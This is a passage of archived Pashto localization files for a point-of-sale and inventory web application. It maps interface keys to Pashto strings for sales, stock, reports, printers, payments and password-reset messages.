'discount_amount' => 'د رعایت مقدار', 'no_recent_transactions' => 'وروستي لیږدونه نشته', 'final' => 'وروستی', 'invoice_no' => 'د رسید نمبر', 'customer_name' => 'د ګیراک نوم', 'payment_status' => 'د تادیاتو حالت', 'status' => 'حالت', 'total_amount' => 'جمله پیسی', 'total_paid' => 'جمله پیسی ورکړل شوي', 'total_remaining' => 'جمله باقی پیسی', 'payment_info' => 'د تادیاتو معلومات', 'drafts' => 'مسوده', 'all_drafts' => 'ټول مسوده', 'sell_details' => 'د خرڅولو جزئيات', 'payments' => 'تادیات', 'amount' => 'مقدار', 'payment_mode' => 'د تادیې بڼه', 'payment_note' => 'د تادیاتو یادښت', 'sell_note' => 'د خرڅلاو یادښت', 'staff_note' => 'د کارکونکي یادښت', 'draft_updated' => 'مسوده په بریالیتوب سره تازه شوه', 'pos_sale_updated' => 'خرڅول په بریالیتوب سره تازه شو', 'location' => 'ځای', 'add_payment_row' => 'د تادیاتو صف اضافه کړئ', 'finalize_payment' => 'د تادیاتو پای ته ورسول', 'sale_date' => 'د خرڅولو نیټه', 'list_pos' => 'POS لیست', 'edit_sale' => 'د خرڅولو سمول', 'shipping' => 'لېږدول', 'shipping_details' => 'د لیږد تفصیلات', 'shipping_charges' => 'د لیږد مصاریف', ]; PK G �ZA�7�} } ps/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'راپورونه', 'purchase_sell_report' => 'خریداری او خرڅلاو', 'purchase_sell' => 'د خریدارۍ او خرڅلاو راپور', 'purchase_sell_msg' => 'د ټاکل شوې نېټې څخه د خریدارۍ او خرڅلاو جزئيات', 'total_purchase' => 'ټوله خریداری', 'purchase_inc_tax' => 'د مالیې په ګډون خریداری', 'total_sell' => 'ټوله خرڅلاو', 'sell_inc_tax' => 'د مالیې په ګډون خرڅلاو', 'purchase_due' => 'د خریدارۍ پاته پیسې', 'sell_due' => 'د خرڅلاو پاته پیسې', 'overall' => 'ټولټال (خریدارئ او خرڅلاو)', 'sell_minus_purchase' => 'خریداری - خرڅلاو', 'difference_due' => 'د پیسو اندازه', 'customer' => 'ګیراک', 'supplier' => 'عرضه کونکي', 'total_due' => 'پاته مجموعه', 'contacts' => 'عرضه کوونکي او ګیراک راپور', 'contact' => 'اړیکه', 'stock_report' => 'د سټاک راپور', 'products' => 'محصولات', 'current_stock' => 'اوسنی سټاک', 'total_unit_sold' => 'ټول واحدونه خرڅ شوی', 'tax_report' => 'مالیې راپور', 'tax_report_msg' => 'د مالیاتو تفصل لپاره د ټاکل شوی نیټي لړۍ', 'input_tax' => 'د مالیې اچول', 'output_tax' => 'د مایې لیری کول', 'tax_overall' => 'ټولټال (اچول - لیری کول)', 'trending_products' => 'د تدارکاتو محصولات', 'apply_filters' => 'فلټرونه تطبیق کړئ', 'filters' => 'فلټرونه', 'expense_report' => 'د مصاریفو راپور', 'total_expense' => 'د مصاریفو مجموعه', 'others' => 'نور', 'all' => 'ټول', 'top_trending_products' => 'اعلی د تدارکاتو محصولات', 'all_locations' => 'ټول ځایونه', 'stock_adjustment_report' => 'د سټاک د تعدیل راپور', 'total_stock_adjustment' => 'د سټاک د تعدیل مجموعه', 'total_recovered' => 'ټولې پیسې ریکارډ شوې', 'total_normal' => 'عادي مجموعه', 'total_abnormal' => 'غیر عادي مجموعه', 'register_report' => 'راجستر راپور', 'open_time' => 'خلاص وخت', 'close_time' => 'بند وخت', 'user' => 'کارن', 'all_users' => 'ټول کاروونکي', 'sales_representative' => 'د خرڅلاو د استازی راپور', 'sales_representative_expenses' => 'د خرڅلاو استازي پورې اړوند ټول مصاریف', 'summary' => 'لنډیز', 'date_range' => 'د نیټي لړۍ', 'stock_expiry_report' => 'د سټاک د تاریخ پای ته رسیدو راپور', 'stock_left' => 'پاته سټاک', 'expired' => 'تاریخ تېر شوی', 'view_stocks' => 'سټاک وګورئ', 'expiring_in_1_week' => 'په یوه اونۍ کې تاریخ پای ته رسیدل', 'expiring_in_15_days' => 'په ۱۵ ورځو کې تاریخ پای ته رسیدل', 'expiring_in_1_month' => 'په یوه میاشت کې تاریخ پای ته رسیدل', 'expiring_in_3_months' => 'په ۳ میاشتو کي تاریخ پای ته رسیدل', 'expiring_in_6_months' => 'په ۶ میاشتو کې تاریخ پای ته رسیدل', 'expiring_in_1_year' => 'په یوه کال کې تاریخ پای ته رسیدل', 'profit_loss' => 'ګټه / تاوان راپور', 'opening_stock' => 'سټاک خلاصول', 'closing_stock' => 'سټاک بندول', 'total_expense' => 'د مصاریفو مجموعه', 'net_profit' => 'خالص ګټه', 'total_stock_adjustment' => 'د سټاک د تعدیل مجموعه', 'total_stock_recovered' => 'ټول سټاک بیرته راوړل شوی', ]; PK G �Z�珞� � ps/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'پاسورډونه باید لږترلږه شپږ حرفه وي او د تایید سره سمون ولري.', 'reset' => 'ستاسو پاسورډ نوی شوی دی!', 'sent' => 'موږ خپل د پاسورډ نوی لینک بریښنالیک کړی دی!', 'token' => 'د دې پاسورډ د بیاکتنې نښه ناباوره ده.', 'user' => 'موږ یو کارن په دغه بریښناليک پته نشو موندلای .', ]; PK G �Z/�� � ps/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'واحدونه', 'manage_your_units' => 'خپل واحدونه اداره کړئ', 'all_your_units' => 'ستاسو ټول واحدونه', 'name' => 'نوم', 'short_name' => 'لنډ نوم', 'allow_decimal' => 'د ټوکو اجازه ورکړئ', 'added_success' => 'واحد په بریالیتوب سره اضافه شو', 'updated_success' => 'واحد په بریالیتوب سره تازه شو', 'deleted_success' => 'واحد په بریالیتوب سره پاک شو', 'add_unit' => 'واحد اضافه کړئ', 'edit_unit' => 'د واحد سمول', ]; PK G �Z�� ps/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'چاپګر', 'add_printer' => 'چاپګر اضافه کړئ', 'name' => 'د چاپګر نوم', 'connection_type' => 'د پیوستون ډول', 'capability_profile' => 'د وړتوب پېژند څېره', 'ip_address' => 'د IP پته', 'port' => 'پورټ', 'path' => 'لاره', 'added_success' => 'چاپګر په بریالیتوب سره اضافه شو', 'manage_your_printers' => 'خپل چاپګرونه اداره کړئ', 'all_your_printer' => 'ټول جوړ شوی چاپګرونه', 'deleted_success' => 'چاپګر په بریالیتوب سره پاک شو', 'edit_printer_setting' => 'د چاپګر سمول', 'receipt_printers' => 'د رسید چاپګرونه', 'character_per_line' => 'توري په هر لیکه کې', 'printer_name' => 'د چاپګر نوم', 'updated_success' => 'چاپګر په بریالیتوب سره تازه شو', 'edit_printer' => 'د چاپګر سمول', ]; PK G �Zť�p͗ ͗ ps/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'فعال کړئ د محصول قیمت بدلول د خریدارۍ په وخت کې', 'sales_commission_agent' => 'په کمیشن خرڅولو استازي', 'sales_commission_agents' => 'په کمیشن خرڅولو استازی', 'disable' => 'Disable', 'logged_in_user' => 'د کارن ننوتل ', 'select_from_users_list' => 'د کاروونکي لیست څخه غوره کړئ', 'select_from_commisssion_agents_list' => 'د کمیشن د استازو لیست څخه غوره کړئ', 'add_sales_commission_agent' => 'په کمیشن خرڅولو استازي اضافه کړئ', 'commission_agent_added_success' => 'د کمیشن استازی په بریالیتوب سره اضافه شو', 'edit_sales_commission_agent' => 'په کمیشن خرڅولو استازي سمول', 'commission_agent_updated_success' => 'د کمیشن استازی په بریالیتوب سره تازه شو', 'commission_agent_deleted_success' => 'د کمیسیون استازی په بریالیتوب سره پاک شو', 'contact_no' => 'د اړيکې شمېره', 'commission_agent' => 'د کمیشن استازی', 'cmmsn_percent' => 'د خرڅولو کمیشن فیصدي (%)', 'sales_added' => 'خرڅول اضافه شوي', 'sales_with_commission' => 'د کمیشن سره خرڅلاو', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'د کمیشن د پلور مجموعه', 'sales_item_addition_method' => 'د خرڅلاو توکي اضافه میتود', 'add_item_in_new_row' => 'په نوي قطار کې توکي اضافه کړئ', 'increase_item_qty' => 'د توکو مقدار زیاتوالي که چیرې شتون هم ولري', 'stock_transfers' => 'د سټاک انتقال', 'all_stock_transfers' => 'ټول سټاک لیږدول شوي', 'add_stock_transfer' => 'د سټاک لیږد اضافه کړئ', 'list_stock_transfers' => 'د لیږدول شوي سټاک لیست ', 'location_from' => 'ځای (له)', 'location_to' => 'ځای (ته)', 'shipping_charges' => 'د لیږد مصاریف', 'stock_transfer_added_successfully' => 'د سټاک لیږد په بریالیتوب سره اضافه شو', 'stock_transfer_delete_success' => 'د سټاک لیږد په بریالیتوب سره پاک شو', 'stock_transfer_cannot_be_deleted' => 'د سټاک لیږد نشي کولی له منځه یوسي ځکه چې ځینې سټاک مخکې له مخکې خرڅ شوئ', 'total_transfer_shipping_charges' => 'د لیږد ټول انتقال انتقالي مصاریف', 'enable_inline_tax' => 'په خریدارۍ او خرڅولو کې د اِنلاین مالیې فعالول', 'save_n_add_opening_stock' => 'ثبت او د پرانیستلو سټاک اضافه کړئ', 'add_opening_stock' => 'د پرانیستلو سټاک اضافه کړئ', 'opening_stock_added_successfully' => 'د پرانیستلو سټاک په بریالیتوب سره اضافه شو', 'update_n_edit_opening_stock' => 'د پرانيستلو سټاک سمول او تازه کول', 'total_amount_exc_tax' => 'جمله پیسی (غیر له مالیه)', 'currency_symbol_placement' => 'د اسعارو سمبول ځای', 'before_amount' => 'د مقدار څخه مخکې', 'after_amount' => 'د مقدار وروسته', 'barcode_label_error' => 'د ټاکل شوي بارکوډ ډول لپاره د ناباوره SKU پېژند', 'list_products' => 'د محصولاتو لیست', 'list_expenses' => 'د مصاریفو لیست', 'add_expiry' => 'د توکو د پای نیټه اضافه کړئ', 'add_manufacturing_auto_expiry' => 'د تولید نېټه او د پای نیټه اضافه کړئ', 'tooltip_enable_expiry' => 'د محصول د پای نیټه فعالول. <br/> <br/><b>د توکو د پای نیټه اضافه کړئ</b>: To directly add item expiry only. <br/> <b>د تولید نېټی او د پای نېټی موده اضافه کړئ</b>: To add manufacturing date & expiry period and calculate expiry date based on that.', 'quantity' => 'مقدار', 'on_product_expiry' => 'د محصول پای نېټي په اړه', 'keep_selling' => 'خرڅلاو جاري ساتل', 'stop_selling' => 'د ورځو له مخه خرڅلاو بند کړئ', 'tooltip_on_product_expiry' => 'هغه ګام مشخص کړئ چې د محصول د پای نیټه کې باید ترسره شي. <br><br> <b>خرڅلاو جاري ساتل</b>: Products will be kept on selling after expiry also. <br> <b>خرڅلاو ودروي</b>: Stop selling item n days before expiry.', 'output_tax_minus_input_tax' => 'د مالیې استل - د مالېی ننستل', 'total_purchase_discount' => 'د خریدارۍ د رعایت مجموعه', 'total_sell_discount' => 'د خرڅولو د رعایت مجموعه', 'updated_succesfully' => 'په بریالیتوب سره تازه شو', 'default_unit' => 'همیشه واحد', 'enable_brand' => 'برانډ فعالول', 'enable_category' => 'کټګورۍ فعالول', 'enable_sub_category' => 'فرعي کټګورۍ فعالول', 'enable_price_tax' => 'د بیې او مالیې معلومات فعالول', 'enable_purchase_status' => 'د خریدارۍ حالت فعالول', 'tooltip_enable_purchase_status' => 'د غیر فعالولو په صورت کې به ټولې خریدارۍ د یوې برخې په توګه وپېژندل شي <i>توکي ترلاسه شوي</i>', 'recent_product_quantity' => 'د محصول مقدار ته لاړ شئ', 'full_screen' => 'د بشپړ سکرین د لرې کولو لپاره F11 ته فشار ورکړئ', 'Uncategorised' => 'نخښه شوی', 'no_products_to_display' => 'د ښودلو لپاره هیڅ محصول نشته', 'item_out_of_stock' => 'محصول په سټاک کې نشته', 'go_back' => 'بيرته لاړ شه', 'disable_pay_checkout' => 'اداینه او چک اوټ غیر فعال کول', 'disable_draft' => 'د مسودې غیر فعالول', 'disable_express_checkout' => 'د اکتشافي چک اوټ غیر فعالول', 'hide_product_suggestion' => 'د محصول وړاندیز مه ښکاره کوئ', 'hide_recent_trans' => 'وروستي لیږدونه مه ښکاره کوئ', 'pos_settings' => 'POS ترتیبونه', 'disable_discount' => 'رعایت غیر فعالول', 'disable_order_tax' => 'د امر مالیه غیر فعالول', 'customer_groups' => 'د ګیراک ډلې', 'customer_group' => 'د ګیراک ډله', 'all_your_customer_groups' => 'د ګیراک ټوله ډلې', 'add_customer_group' => 'د ګیراک ډله اصافه کړئ', 'customer_group_name' => 'د ګیراک د ډلي نوم', 'calculation_percentage' => 'د محاسبې سلنه (%)', 'tooltip_calculation_percentage' => '<b>د خرڅولو بیه = د خرڅولو بیه د محصول لپاره جوړه کړئ + د محاسبې سلنه </b> <br/><br/> تاسو کولی شئ د زیاتوالي لپاره مثبتې سلنه مشخص کړئ او تاسو کولی شئ د کموالي لپاره منفي سلنه مشخص کړئ ترڅو د خرڅ نرخ زیات او کم کړئ.', 'success' => 'بریالیتوب', 'edit_customer_group' => 'د ګیراک د ډلي سمول', 'customer_groups_report' => 'د ګیراک د ډلي راپور', 'none' => 'هیڅ', 'enable_imei_or_sr_no' => 'د محصول تفصیل، IMEI یا سیریل نمبر فعالول', 'tooltip_sr_no' => 'د محصول تفصیلی بیان اضافه کول، یا فعال کړئ، IMEI یا سیریل نمبر د پیسو په سکرین کې د محصوالتو خرڅولو پر مهال', 'description' => 'تفصیل', 'sell_line_description_help' => 'د IMEI محصول، سیریل نمبر یا نور معلومات دلته اضافه کړئ.', 'unit_cost_before_discount' => 'د واحد مصرف (ترمخه د رعایت)', 'discount_percent' => 'رعایت %', 'profit_margin' => 'ټاکل شوي ګټه %', 'discount_percent' => 'د رعایت سلنه', 'application_tour' => 'د پروګرام کتنه', 'profile' => 'پېژندڅېره', 'sign_out' => 'وتون', 'my_profile' => 'زما پېژنيال', 'Admin' => 'مدیر', 'Cashier' => 'کیشیر', 'both_supplier_customer' => 'دواړه (عرضه کونکې او ګیراک)', 'months' => 'میاشتي', 'days' => 'ورځي', 'suppliers' => 'عرضه کونکې', 'customers' => 'ګراک', 'enter_product_name_to_print_labels' => 'د لیبلونو چاپولو لپاره د محصول نوم داخل کړئ', 'manage_product_variations' => 'د محصول توپیرونه تنظیم کړئ', 'all_variations' => 'ټول توپیرونه', 'values' => 'ارزښتونه', 'add_variation' => 'توپیر اصافه کړئ', 'variation_name' => 'د توپیر نوم', 'add_variation_values' => 'د توپیر ارزښت اصافه کړئ', 'edit_variation' => 'د توپیر سمول', 'received' => 'ترلاسه شوی', 'pending' => 'پاتې دي', 'ordered' => 'امر شوی', 'search_product_placeholder' => 'د محصول نوم / SKU / سکین بار کوډ داخل کړئ', 'fixed' => 'سم شوی', 'percentage' => 'سلنه / فیصدی', 'select_location' => 'ځای غوره کړه', 'add_description' => 'تفصیل اضافه کړئ', 'cash' => 'نغدي', 'card' => 'کارت', 'cheque' => 'چیک', 'bank_transfer' => 'بانکي لېږد', 'other' => 'نور', 'payment' => 'تادیه', 'total_items' => 'ټول توکې', 'total_paying' => 'ټوله پېسی ورکول', 'balance' => 'توازن', 'payment_method' => 'د تادیاتو میتود', 'card_no' => 'د کارت نمبر', 'card_holder_name' => 'د کارت والا نوم', 'card_transaction_no' => 'د کارت د لیږد شمیره', 'card_type' => 'د کارت ډول', 'month' => 'میاشت', 'year' => 'کال', 'security_code' => 'د خونديتوب کوډ', 'cheque_no' => 'د چیک نمبر', 'bank_account_number' => 'د بانک د اکاؤنټ نمبر', 'paid' => 'ادا شوی', 'due' => 'پاته', 'partial' => 'جُزئ', 'no_of_products' => 'د محصولاتو شمېره', 'select_a_date_range' => 'د یوه تاریخ لړۍ ټاکل', 'shortcut_help' => "شارټ کټ باید د هغه کلیدی نومونو څخه وي چې له خوا جلا شوي وي '+'", 'example' => 'د بېلګې په توګه', 'available_key_names_are' => 'شته کلیدي نومونه دي', 'add_new_product' => 'نوی محصول اضافه کړئ', 'invoice_logo_help' => 'لوړ :max_size, jpeg,gif,png یوازې فارمټونه.', 'invoice_logo_help2' => 'یواځې پورته کول، که تاسو غواړئ د پخوانۍ لوګو پر ځای بدله کړئ', 'printer_name_help' => 'د چاپ پیژندلو لپاره لنډ تشریحی نوم', 'char_per_line_help' => 'د هغه تورو شمیر چې په هر لیکه کې چاپ کیدای شي', 'ip_address_help' => 'د چاپګر سره د نښلولو لپاره IP پته', 'port_help' => 'په ډیرو 9100 پورټ کې چاپګر کار کوي', 'combination_of_taxes' => 'د څو مالیاتو ترکیب', 'product_purchase_report' => 'د محصولاتو د خریدارۍ راپور', 'unit_perchase_price' => 'د واحد خریدارۍ بیه', 'search_product' => 'د محصولاتو لټون', 'product_sell_report' => 'د محصولاتو د خرڅولو راپور', 'unit_sale_price' => 'د واحد د خرڅولو بیه', 'contact_id' => 'د تماس پېژندل', 'category_code_help' => 'د کټګوري کوډ ورته دی <b> HSN کوډ</b>', 'sub_heading_line' => 'د فرعي سرلیک کرښه :_number_', 'date_label' => 'د نیټی لیبل', 'client_id_label' => 'د مراجع پېژند لیبل', 'product_label' => 'د محصول لیبل', 'qty_label' => 'د مقدار لیبل', 'unit_price_label' => 'د واحد د بیې لیبل', 'subtotal_label' => 'د فرعي مجموعي لیبل', 'product_details_to_be_shown' => 'د محصول توضیحات چې ښودل کیدی شي', 'show_brand' => 'برانډ ښکاره کړئ', 'show_sku' => 'د SKU ښودل', 'show_cat_code' => 'د کټګورۍ کوډ یا HSN کود ښکاره کړئ', 'show_client_id' => 'د مراجعینو پېژندل ښودل', 'show_time_with_date' => 'د نیټې سره وخت ښودل', 'show_sale_description' => 'د خرڅلاو تفصیل ښودل', 'product_imei_or_sn' => '(د محصول IMEI یا مسلسل نمبر)', 'purchase_already_exist' => 'محصول له منځه نه ځي، ځکه چې خرڅولو پورې اړه لري دا محصول شتون لري', 'opening_stock_sold' => 'محصول له منځه نه ځي ځکه چې ځینې سټاک خرڅ شوي دي', 'stock_adjusted' => 'محصول له منځه نه ځي ځکه چې ځینې سټاک سمبال شوي دي', 'product_delete_success' => 'محصول په بریالیتوب سره پاک شو', 'manage_products' => 'خپل محصولات تنظیم کړئ', 'all_products' => 'ټول محصولات', 'login' => 'د ننه کیدل', 'register' => 'راجستر', 'username' => 'کارن نوم', 'password' => 'پټ نوم', 'remember_me' => 'ما په یاد ولره', 'forgot_your_password' => 'پټ نوم مو هیر شوی؟', 'reset_password' => 'پټ نوم د سره کړئ', 'email_address' => 'بریښنالیک', 'send_password_reset_link' => 'د پټ نوم د سره کولو لینک ولېږه', 'instructions' => 'لارښوونې', 'instruction_line1' => 'د فایلونو د واردولو دمخه سم لارښوونې تعقیب کړئ.', 'instruction_line2' => 'د CSV فایل باید په لاندې ترتیب کې وي.', 'col_no' => 'د ستون شمېر', 'col_name' => 'د ستون نوم', 'instruction' => 'لارښوونې', 'required' => 'اړینه ده', 'optional' => 'اختیاري', 'name_ins' => 'د محصول نوم', 'brand_ins' => 'د برانډ نوم', 'brand_ins2' => 'که چېرې ونه موندل شي د ورکړل شوی نوم سره به نوی برانډ جوړ شي ', 'unit_ins' => 'د واحد نوم', 'category_ins' => 'د کټګورۍ نوم', 'category_ins2' => 'که چېرې ونه موندل شي د ورکړل شوی نوم سره به نوی کټګورۍ جوړ شي', 'sub_category_ins' => 'د فرعي کټګوۍ نوم', 'sub_category_ins2' => 'که چېرې ونه موندل شي د ورکړل شوی نوم سره به لاندی نوی <br> پلرنې کټګوري به جوړ شي', 'sku_ins' => 'د محصول SKU. که چیري خالي وی نو به په اوتومات ډول د ځانه تولید کړي', 'barcode_type_ins' => 'د محصول لپاره د بارکوډ ډول', 'barcode_type_ins2' => 'اوس مهال ملاتړ شوی', 'default' => 'همیشه', 'manage_stock_ins' => 'د سټاک مدیریت فعالول یا غیر فعالول', 'alert_qty_ins' => 'اړینه ده که د سیسټم اداره ۱ وي', 'expires_in_ins' => 'د محصول د نېټی ختمیدو موده) یوازې په شمېرو کې (', 'expire_period_unit' => 'د نيټی ختمیدو موده واحد', 'available_options' => 'موجود انتخابونه', 'expire_period_unit_ins' => 'واحد د نیټی د ختمیدو موده لپاره', 'applicable_tax_ins' => 'د مالیې د نرخ نوم', 'variation_name_ins' => 'اړینه ده که د محصول ډول توپیري وي', 'variation_name_ins2' => 'د توپیر نوم (Ex: Size, Color etc )', 'variation_values_ins' => 'اړینه ده که د محصول ډول توپیري وي', 'variation_values_ins2' => "د توپیرونو ارزښتونه سره جلا شوي '|' <br> (Ex: Red|Blue|Green)", 'purchase_price_inc_tax' => 'د خریدارۍ بیه (د مالیې په شمول)', 'purchase_price_inc_tax_ins1' => 'د اړتیا په صورت کې که د مالیې پرته د خریدارۍ بیه نه ورکول کیږي', 'purchase_price_inc_tax_ins2' => "د خریدارۍ بیه (د مالیې په شمول) (یوازې په شمیرو کې)<br><br>د توپیری محصولاتو لپاره '|' جلا شوي ارزښتونه سره <br>د توپیرونو ارزښتونو په څیر ورته امر <br>(Ex: 84|85|88)", 'purchase_price_exc_tax' => 'د خریدارۍ بیه (د مالیې پرته)', 'purchase_price_exc_tax_ins1' => 'د اړتیا په صورت کې که د مالیې سره د خریدارۍ بیه نه ورکول کیږي', 'purchase_price_exc_tax_ins2' => "د خریدارۍ بیه (د مالیې پرته) (یوازې په شمیرو کې)<br><br>د توپیری محصولاتو لپاره '|' جلا شوي ارزښتونه سره <br>د بدلونونو ارزښتونو په څیر ورته امر <br>(Ex: 84|85|88)", 'profit_margin_ins' => 'د ګټې ټاکل (یوازې په شمیره کې)', 'profit_margin_ins1' => 'که چیري خالي وی نو د همیشه ټاکل شوي لپاره <br> سوداګری به کارول کیږي', 'selling_price' => 'د خرڅولو بیه', 'selling_price_ins' => 'د خرڅولو بیه (یوازې په شمېره کې)', 'selling_price_ins1' => 'که چیرې خالي وي د خرڅولو بیه به حساب شي <br>د ورکړل شوې پیسو نرخ سره <br>او د اجرا وړ مالیه ', 'opening_stock' => 'پرانيستې سټاک', 'opening_stock_ins' => 'افتتاحی سټاک (یوازې په شمیرو کې)', 'only_applicable_to_single_product' => 'یوازې یو واحد محصول ته تطبیق کیږي', 'purchase_delete_success' => 'خریداری په بریالیتوب سره پاکه شو', 'location_ins' => 'که خالي وي، د لومړي سوداګري ځای به کارول کیږي', 'location_ins1' => 'د سوداګری ځای نوم', 'expiry_date' => 'د ختم نیټه', 'expiry_date_ins' => 'د سټاک د پای نیټه <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'د لاټ شمیره فعالول', 'tooltip_enable_lot_number' => 'دا به تاسو ته وړتیا درکړي، چې د خریدارۍ په پرده کې د هر خرید لیک لپاره د لاټ شمیر داخل کړئ', 'lot_number' => 'د لاټ شمیره', 'enable_racks' => 'د المارې فعالول', 'tooltip_enable_racks' => 'دا د دې لپاره فعال کړئ چې د یو محصول د المارې معلومات د مختلف کاروباري ځایونو لپاره اضافه کړئ. پداسې حال کې چې محصولات زیاتوي', 'rack_details' => 'المارې/قطار/د موقعیت تفصیلات', 'tooltip_rack_details' => 'د هغه ځای مالومات وليکئ چې محصول په دکان کې ساتل کیږي، د بیلابیلو سوداګریزو ځایونو لپاره.', 'updated_success' => 'په بریالیتوب سره تازه شوی', 'added_success' => 'په بریالیتوب سره اصافه شوی', 'deleted_success' => 'په بریالیتوب سره پاک شوی', 'enable_disable_modules' => 'د موډلو فعالول / غیر فعالول', 'opening_stock_help_text' => "<br><br>د توپیری محصولاتو لپاره د سټاک مختلف مقدار سره '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>که چیرې د خریدارۍ بیه) د مالیې پرته (ورته نه وي لکه <br/>د خریدارۍ بیه (د مالیې په شمول) <br/>نو تاسو باید د مالیې د نرخ نوم ورکړئ.', 'sale_delete_success' => 'خرڅلاو بریالیتوب سره پاک شو', 'click_to_edit' => 'د سمولو لپاره کلیک وکړئ', 'click_to_delete' => 'د پاکولو لپاره کلیک وکړئ', 'quotation_heading' => 'د نرخ نامی سر لیک', 'quotation' => 'نرخ نامه', 'quotation_no_prefix' => 'د نرخ نامی د شمیر لیبل', 'tooltip_quotation_heading' => 'نرخ نامه یا د اټکلونو سرلیک هغه وخت کارول کیږي کله چي موږ و ګراک ته نرخ نامه ورکوو.', 'quotation_added' => 'نرخ نامه په بریالیتوب سره اصافه شوه', 'quotation_updated' => 'نرخ نامه په بریالیتوب سره تازه شوه', 'product_sold_details_register' => 'د خرڅ شوې محصولاتو معلومات', 'grand_total' => 'ستره مجموعه', 'change_return' => 'میده پېسو واپسی', 'date_format' => 'د نېټی بڼه', 'time_format' => 'د وخت بڼه', '12_hour' => '12 ساعته', '24_hour' => '24 ساعته', 'list_quotations' => 'د نرخ نامو لیست', 'list_drafts' => 'د مسودې لیست', 'you_cannot_delete_this_contact' => 'د اړیکو له منځه وړل نشي کولی، د اړیکو لپاره لا دمخه لراکړه ورکړه شتون لري.', 'enable_row' => 'د قطار فعالول', 'enable_position' => 'د ځای فعالول', 'rack' => 'المارې', 'row' => 'قطار', 'position' => 'ځای', 'weight' => 'وزن', 'rack_help_text' => "د المارۍ معلومات جلا شوی په '|' د مختلف سوداګري ځایو لپاره.<br/> (Ex: R1|R5|R12) ", 'row_help_text' => "د قطار معلومات جلا شوی په '|' شمیرو د مختلو سوداګرۍ ځاینو.<br/> (Ex: R1|R5|R12) ", 'position_help_text' => "د ځای معلومات جلا سوی په '|' شمیرو د مختلو سوداګرۍ ځاینو.<br/> (Ex: ROW1|ROW2|ROW3) ", 'import_opening_stock' => 'وارد کړئ د پرانیستلو سټاک', 'tooltip_import_opening_stock' => 'دا خصوصیت د مخکینیو اضافو محصولاتو پرانستل شوي سټاک واردولو لپاره کارول کیږي. که چیرې محصولات په سیسټم کې نده اضافه شوي، نو بیا د دې لپاره مشوره کیږي چې د پرانیستې سټاک سره د محصولاتو د زیاتولو لپاره وارداتي محصولات کاروي.', 'design' => 'ډیزاین', 'express_checkout_cash' => 'نغدي', 'express_checkout_card' => 'کارت', 'checkout_multi_pay' => 'ګڼ اداینه', 'tooltip_checkout_multi_pay' => 'چیک اوټ، د څو پیسو د ورکولو طریقې کاروی', 'tooltip_express_checkout_card' => 'تیز چیک اوټ د کارت استعمال لپاره', 'card_transaction_details' => 'د کارت لیږد تفصیلات', 'client_tax_label' => 'د مراجعینو د مالیه د شمیر لیبل', 'cat_code_label' => 'د کټګوري یا HSN کوډ لیبل', 'list_sell_return' => 'د خرڅ شوو واپسۍ لیست', 'sell_return' => 'د خرڅ شوو واپسۍ', 'layout_credit_note' => 'د کریډیټ یادښت / د خرڅ شوو واپسۍ تفصیلات', 'cn_heading' => 'سرلیک', 'cn_no_label' => 'د حوالې شمیره', 'cn_amount_label' => 'جمله پیسی', 'custom_field' => 'د دود ساحه :number', 'website' => 'ویب پاڼه', 'total_credit_amt' => 'د ټولې کریډیټ مقدار', 'unit_sell_price' => 'د واحد خرڅولو بیه', 'prefixes' => 'دمخه ترتیب شوې', 'purchase_order' => 'د خریدارۍ امر', 'stock_transfer' => 'د سټاک انتقال', 'purchase_payment' => 'د خریدارۍ تادیه', 'sell_payment' => 'د خرڅلاو تادیه', 'location_id' => 'د ځای پیژند', 'add_edit_opening_stock' => 'د پرنیستلی سټاک اضافه کول یا سمول', 'expiry_date_will_be_changed_in_pl' => 'د خریدارۍ د پای نیټه به بدله شي', 'remove_from_stock' => 'د سټاک څخه پاک کړئ', 'stock_removed_successfully' => 'سټاک په بریالیتوب سره پاک شو', 'product_image' => 'د محصول انځور', 'aspect_ratio_should_be_1_1' => 'د اړخ نسبت باید ۱:۱ وي', 'previous_image_will_be_replaced' => 'مخکینۍ پورته شوي عکس به بدل شي', 'all_category' => 'ټول کټګورۍ', 'all_brands' => 'ټول برانډونه', 'backup' => 'د اداره کوونکي بیک آپ', 'download_complete_backup' => 'د بشپړ بیک آپ کښته کړئ', 'backup_doesnt_exist' => 'بیک آپ شتون نلري', 'lot_report' => 'د لاټ راپور', 'purchase_payment_report' => 'د خریدارۍ د پیسو راپور', 'paid_on' => 'ورکړل شوی', 'purchase' => 'خریداری', 'cheque_no' => 'د چیک شمیره', 'card_transaction_no' => 'د کارت انتقالي شمیره', 'bank_account_no' => 'د بانک حساب شمیره', 'sell_payment_report' => 'د خرڅولو د پیسو راپور', 'restaurant' => 'رستورانت', 'user_type' => 'د کارن ډول', 'business_inactive' => 'بخښنه غواړو، ستاسو سوداګری غیر فعال دی !!', 'product_custom_field1' => 'د دود صاحه ۱', 'product_custom_field2' => 'د دود صاحه ۲', 'product_custom_field3' => 'د دود صاحه ۳', 'product_custom_field4' => 'د دود صاحه ۴', 'image' => 'انځور', 'image_help_text' => 'د انځور نوم د ترویج سره.<br/> (د انځور نوم باید سرور ته پورته شي :path )', 'tooltip_kitchen' => 'دا د پخلنځي سکرین دی. دلته د امر تفصيلات لیدل کیدی شي، او امرونه کیدای شي د پخلی په توګه نښه شي.', 'tooltip_serviceorder' => 'دا د خدمتی کارکونکي سکرین دی. د خدمت کارکونکي کولی شي دا اسڪرين د دوی لپاره د ټولو امرونو د لیدلو لپاره وکاروي او د امرونو د سپارلو په صورت کې د نښه کولو نښه وکړي.', 'sales_person_label' => 'د خرڅوونکي لیبل', 'show_sales_person' => 'د خرڅلاو شخص ښکاره کړئ', 'decimal_value_not_allowed' => 'د ټُکو ارزښت اجازه نه لري', 'theme_color' => 